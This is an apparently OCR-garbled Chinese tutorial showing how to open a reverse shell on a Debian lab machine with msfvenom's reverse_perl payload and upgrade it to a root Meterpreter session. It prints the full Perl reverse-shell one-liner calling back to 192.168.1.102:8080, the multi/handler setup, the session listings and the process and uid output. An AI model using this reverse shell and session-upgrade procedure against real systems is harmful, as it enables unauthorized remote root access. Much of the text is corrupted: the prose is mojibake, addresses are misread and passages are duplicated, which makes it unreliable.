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it BERRVKEERBTT TSR,

LM 0 192.168.1.102  Debian
#Cf : 192.168.1.117 Debian

Lk |, iFZreverse shell EFmeterprete shellfy , A EREmMeterpreter M&ELR |,
EH2ZE | BRZA)E,

payload4ER :
LAcmd/unix/reverse_perlgdemo :

I [root /tmp]# msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10
2 LPORT=8080

2 [-] No platform was selected, choosing Msf::Module::Platform::Unix fro
m the payload

3 [-] No arch selected, selecting arch: cmd from the payload

I No encoder or badchars specified, outputting raw payload

[$2})

Payload size: 232 bytes

6 perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if ($ENV
{$key}=~/(.*)/){$ENV{$key}=9$1;}}$c=new IO::Socket::INET(PeerAddr,"192.16
8.1.102:8080");STDIN->fdopen($c,r);$~->Ffdopen($c,w);while(<>){if($_=~ /(
*)/){system $1;}};"

158.1,182 LPO
m::Unix from the payload

ing
fied, o

LT (SEMVIGkeyt=-s (. * )/ I{$ENV]$keyt=$1: }T$c=new I0: Socket::IMET (Peeraddr,"192.168.1.102: 8 "1 STDIN-=fdopen {§c.r)

WEIRE :
RIS 3

1 msf exploit(multi/handler) > show options

3 Module options (exploit/multi/handler):

5 Name Current Setting Required Description
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Payload options (cmd/unix/reverse_perl

Name Current Setting Required Description

LHOST 192.168.1.102 yes The listen address (an interface may be speci]
fied

LPORT 8080 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

msf exploit(multi/handler) > exploit -j

*] Exploit running as background job 0.
*1 Started reverse TCP handler on 192.168.1.102:8080

msf exploit{multishandler) = show options
Module options {exploits/multishandler):

Mame Current Setting Required Description

Payload options (cmdsunix/reverse_perl):

Mame  Current Setting Required Cescription

LHOST The listen address (an interface may be specified]

LPORT Yes The listen port

Exploit target:
Id Mame

@ Wildcard Target

¥ploitimulti/handler} = exploit -3
#ploit running as background job G.

[*] Started reverse TCP handler on 192,168.1,10:

REHHAT



I root :~# perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %E
NV){if ($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerA
dr,"192.168.1.102:8080") ;STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){
f($_=~ /(.*)/){system $1;}};"

2 Parameterless "use IO" deprecated at -e line @.

4% session

I msf exploit(multi/handler) > exploit -j

2 [*] Exploit running as background job 8.

| *1 Started reverse TCP handler on 192.168.1.102:8080

5 msf exploit(multi/handler) > [*] Command shell session 1@ opened (192.
168.1.102:8080 -> 192.168.1.117:36914) at 2019-02-23 06:35:07 -0500

7 msf exploit(multi/handler) > sessions -1

9 Active sessions

12 Id Name Type Information Connection

I e

14 10 shell cmd/unix 192.168.1.102:8080 -> 192.168.1.117:36914 (192.168.

on 10 opened (162.162.1.1( -= 162.162.1.117:36914) at 2016 35:07 -G500

L emd/unix

msfa9shell cmd2FOERY | tFTi At Nsession IEBRBIIFE.
& session )Hk :

I msf exploit(multi/handler) > sessions -x

9

3 Active sessions

6 Id Name Type Checkin? Enc? Local URI Information Connection



0

10 shell cmd/unix ?» N ? 192.168.1.102:8080 -> 192.168.1.117:36914 (19
2.168.1.117

oit {multi/handler} =

-=» 182,168.1.117:36914 (192.188.1.117)

EmsfA.0LAS |, 7RI T meterpreter FREISIE | (BRERS BEEemeterpreter shell,
mimeterpreterX LALBEIRTE |, #finformationANULLET , {88 “{Rsession” , fR{R
sessionfYAJR , SERLEANRATPRELHE,

meterpreter shell
S5 -u , FEHIVOBE,

I msf exploit(multi/handler) > sessions -u 10

2 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s
10

I [*] Upgrading session ID: 10

5 [*] Starting exploit/multi/handler

6 [*] Started reverse TCP handler on 192.168.1.102:4433
7 [*] Sending stage (914728 bytes) to 192.168.1.117

8 [*] Meterpreter session 11 opened (192.168.1.102:4433 ->
192.168.1.117:57692) at 2019-02-23 06:39:18 -0500

9 [*] Command stager progress: 100.00% (773/773 bytes

10 msf exploit(multi/handler) > sessions -1

12 Active sessions

15 Id Name Type Information Connection
L

17 10 shell cmd/unix 192.168.1.102:8080 -> 192.168.1.117:36914 (192.168.
1.117

18 11 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.117
192.168.1.102:4433 -> 192.168.1.117:57692 (192.168.1.117

19

20 msf exploit(multi/handler) > sessions -Xx

21



Active sessions

10 shell cmd/unix ? N ? 192.168.1.102:8080 -> 192.168.1.117:36914 (1¢
2.168.1.117

11 meterpreter x86/linux 39s ago Y ? uid=0, gid=0, euid=0, egid=0 @ !
92.168.1.117 192.168.1.102:4433 -> 192.168.1.117:57692 (192.168.1.117

-u 1@
ell_to_meterpreter' on

92.168.1.117:57682) at 2019-0 g -0500

meterpreter > ps

Process List

PID PPID Name Arch User Path

1 0 systemd x86_64 root /lib/systemd
2 0 kthreadd x86_64 root

4 2 kworker/@:0H x86_64 root

6 2 mm_percpu_wqg x86_64 root

7 2 ksoftirqd/@ x86 64 root

8 2 rcu_sched x86_64 root

2577 923 perl x86_64 root /usr/bin
2600 923 iegkM x86_64 root /tmp

meterpreter > getuid



20 Server username: uid=0, gid=0, euid=0, egid=0

21 meterpreter > getpid

22 Current pid: 2600

AR AR I meterpreter/aigiEiEil , HBAGSENINIFFA.
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